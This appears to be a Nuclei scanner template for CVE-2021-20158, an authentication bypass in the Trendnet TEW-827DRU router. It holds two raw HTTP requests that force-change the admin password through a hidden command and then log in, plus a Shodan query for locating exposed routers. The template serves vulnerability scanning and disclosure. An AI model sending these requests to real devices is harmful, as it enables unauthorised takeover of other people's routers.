64 lines
2.1 KiB
YAML
64 lines
2.1 KiB
YAML
id: CVE-2021-20158
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info:
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name: Trendnet AC2600 TEW-827DRU 2.08B01 - Admin Password Change
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author: gy741
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severity: critical
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description: Trendnet AC2600 TEW-827DRU version 2.08B01 contains an authentication bypass vulnerability. It is possible for an unauthenticated, malicious actor to force change the admin password due to a hidden administrative command.
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remediation: |
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Upgrade to the latest firmware version provided by Trendnet to fix the vulnerability.
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reference:
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- https://www.tenable.com/security/research/tra-2021-54
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20150
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-20158
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cwe-id: CWE-306
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epss-score: 0.01211
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epss-percentile: 0.83758
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cpe: cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: trendnet
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product: tew-827dru_firmware
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shodan-query: http.html:"TEW-827DRU"
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tags: disclosure,router,intrusive,tenable,cve,cve2021,trendnet
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variables:
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password: "{{rand_base(6)}}"
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http:
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- raw:
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- |
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POST /apply_sec.cgi HTTP/1.1
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Host: {{Hostname}}
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ccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&method=tools&admin_password={{password}}
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- |
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POST /apply_sec.cgi HTTP/1.1
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Host: {{Hostname}}
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html_response_page=%2Flogin_pic.asp&login_name=YWRtaW4%3D&log_pass={{base64(password)}}&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'setConnectDevice'
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- 'setInternet'
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- 'setWlanSSID'
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- 'TEW-827DRU'
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condition: and
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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# digest: 490a0046304402202fbb23b5cd89b4a243007e71d4e3d1203b9e1ca1a9502fc931781197300315ec0220461782fdd230cb2febc881b75879c4138a74bd95a1851ef1caf7c7cd1bcb052b:922c64590222798bb761d5b6d8e72950
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